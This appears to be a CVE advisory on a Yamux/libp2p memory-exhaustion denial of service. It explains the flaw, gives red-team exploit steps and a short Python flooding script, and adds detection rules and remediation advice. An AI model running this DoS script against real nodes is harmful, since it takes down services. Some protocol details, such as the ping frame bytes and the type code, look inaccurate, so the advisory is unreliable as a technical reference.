CVE-2024-32984

Executive Summary

CVE-2024-32984 is a high-severity (CVSS 7.5) resource exhaustion vulnerability in the Rust implementation of the Yamux stream multiplexer, commonly used within the libp2p networking stack. The vulnerability allows an unauthenticated remote attacker to cause a denial of service (DoS) by forcing a victim node to indefinitely enqueue pending frames in an unbounded vector. By exploiting TCP’s receive window mechanism, an attacker can prevent the victim from draining this queue, leading to uncontrolled memory consumption and eventual process termination by the operating system. This vulnerability affects any application using the vulnerable Rust Yamux library, including libp2p-based nodes. No public exploit code or patch details are currently available.

Supply Chain & Package Security

This vulnerability affects the Rust crate yamux, which is a direct dependency of the libp2p ecosystem. The unbounded vector for pending frames is a design flaw in the Rust implementation. Organizations using libp2p in Rust should audit their dependency trees for the vulnerable yamux crate version and monitor for patched releases. The lack of a published patch increases supply chain risk, as downstream projects may remain vulnerable until an update is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply needs to establish a TCP connection.
• Privileges Required (PR): None (N) – No authentication or privileges are needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): None (N) – No data is modified.
• Availability (A): High (H) – The vulnerability can cause complete denial of service.

Threat Level: High. The attack is simple to execute, requires no authentication, and can reliably crash a remote node. The lack of a patch increases the risk for all deployments.

Deep Dive & Mechanics

The Yamux protocol is a stream multiplexer that runs over a reliable, ordered transport like TCP. The Rust implementation maintains a Vec<Frame> (a vector) to hold frames that are pending transmission. Under normal operation, frames are appended to this vector and then drained as they are sent over the TCP connection.

The vulnerability arises because this vector has no upper bound. An attacker can trigger the enqueuing of frames in two primary ways:

1. Opening a new libp2p Identify stream: This causes the victim node to send its Identify message, which can be large. The response is split into multiple Yamux frames, all appended to the pending vector.
2. Sending a Yamux Ping frame: This causes the victim to enqueue a Pong frame.

Under normal conditions, these frames are sent out and the vector drains. However, the attacker can exploit TCP’s receive window mechanism to prevent the victim from sending any data. By simply not reading from the TCP socket, the attacker’s receive window remains at zero. The victim’s TCP stack will then stop sending data (TCP backpressure). Since the victim cannot send, the pending frame vector is never drained. Each new trigger (e.g., repeated pings or new stream requests) appends more frames, causing the vector to grow without bound until the victim’s memory is exhausted and the process is killed.

The attack does not require the attacker to maintain a large number of connections; a single TCP connection is sufficient. The attacker only needs to keep the connection open and not read from it.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In the Yamux connection handler
struct Connection {
    pending_frames: Vec<Frame>, // Unbounded vector
    // ...
}

fn send_frame(&mut self, frame: Frame) {
    self.pending_frames.push(frame); // No size check
    // Attempt to flush, but if TCP buffer is full, this fails silently
    self.flush();
}

Patched Code (Conceptual):

use std::collections::VecDeque;
const MAX_PENDING_FRAMES: usize = 1024; // Example limit

struct Connection {
    pending_frames: VecDeque<Frame>, // Bounded deque
    // ...
}

fn send_frame(&mut self, frame: Frame) -> Result<(), Error> {
    if self.pending_frames.len() >= MAX_PENDING_FRAMES {
        return Err(Error::BufferFull); // Reject new frames
    }
    self.pending_frames.push_back(frame);
    self.flush();
    Ok(())
}

The patched version introduces a maximum limit on the number of pending frames. When the limit is reached, new frames are rejected, preventing unbounded memory growth. The use of VecDeque is optional but recommended for efficient front/back operations.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target running a vulnerable Rust libp2p node (e.g., an IPFS or Filecoin node).
• Ability to establish a TCP connection to the target’s libp2p port (typically 4001 or 4002).

Exploit Steps:

1. Establish a TCP connection to the target’s libp2p port.
2. Perform the Yamux handshake (the target will automatically initiate this).
3. Send repeated Yamux Ping frames (or open new libp2p streams) to trigger frame enqueuing.
4. Do not read from the socket. Keep the TCP receive window at zero by never calling recv() or read().
5. Monitor the target’s memory usage. It will grow linearly with the number of frames enqueued.
6. Wait for the target process to be killed by the OOM killer.

Example Python Script (Conceptual):

import socket
import time

target_ip = "192.168.1.100"
target_port = 4001

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))

# Assume Yamux handshake is automatic
# Send a Yamux Ping frame (raw bytes, example)
ping_frame = b"\x01\x00\x00\x00\x00\x00\x00\x00"  # Simplified
for _ in range(10000):
    sock.send(ping_frame)
    time.sleep(0.01)  # Avoid overwhelming local resources

# Keep connection open, do not read
while True:
    time.sleep(1)

Blue Team (Detection & Defense)

Detection:

• Monitor for connections that remain open but have zero bytes received from the remote side (i.e., the remote side never reads).
• Alert on rapid increases in memory usage for libp2p processes.
• Monitor for a high number of pending Yamux frames (if internal metrics are available).

Defense:

• Immediate: Apply a rate limit on incoming Yamux frames per connection. Reject frames if the pending queue exceeds a threshold.
• Long-term: Update to a patched version of the yamux crate once available.
• Network-level: Use a Web Application Firewall (WAF) or intrusion prevention system (IPS) to detect and block connections that exhibit the attack pattern (e.g., sending many pings without reading responses).

Indicators of Compromise (IOCs)

• Network:
  • TCP connections to libp2p ports (4001, 4002) where the remote side never reads data (zero bytes received from remote).
  • High volume of Yamux Ping frames (type 0x01) from a single source.
• Host:
  • Rapidly increasing memory usage by the libp2p process.
  • Process termination due to out-of-memory (OOM) killer.
  • Large number of pending frames in the Yamux connection state (if accessible via debug endpoints).

Detection Engineering

YARA Rule

rule CVE_2024_32984_Yamux_Memory_Exhaustion {
    meta:
        description = "Detects potential exploitation of CVE-2024-32984 by identifying excessive Yamux Ping frames in network traffic"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-32984"
    strings:
        $ping_frame = { 01 00 00 00 00 00 00 00 } // Simplified Yamux Ping frame
    condition:
        #ping_frame > 100 // Threshold for suspicious activity
}

Sigma Rule

title: CVE-2024-32984 - Yamux Memory Exhaustion via Unbounded Frame Queue
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2024-32984 by monitoring for excessive Yamux Ping frames from a single source.
author: Valters IT
date: 2024-10-27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-32984
logsource:
    category: network_connection
    product: zeek
detection:
    selection:
        proto: "tcp"
        service: "libp2p" # Or specific port 4001/4002
        # This requires a custom Zeek script to count Yamux frames
    condition: selection
falsepositives:
    - Legitimate high-throughput libp2p nodes
level: high

Suricata Rule

alert tcp any any -> any 4001,4002 (msg:"CVE-2024-32984 - Yamux Memory Exhaustion Attempt"; flow:to_server; content:"|01 00 00 00 00 00 00 00|"; threshold:type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply a hotfix to the yamux crate by adding a maximum pending frame limit (e.g., 1024 frames). This can be done by forking the crate and patching the send_frame function.
2. Deploy network-level rate limiting on libp2p ports to restrict the number of frames per second from a single source.
3. Monitor memory usage of libp2p processes and set alerts for abnormal growth.

Long-term Actions:

1. Update to a patched version of the yamux crate once the official fix is released.
2. Implement resource limits in the application (e.g., using ulimit or container memory limits) to prevent a single process from exhausting all system memory.
3. Conduct a security audit of all dependencies for similar unbounded resource issues.

Workaround:

• If patching is not possible, consider disabling the Yamux protocol and using an alternative multiplexer (e.g., Mplex) if supported by the application.

Valters IT
DevSecOps & Cyber Threat Intelligence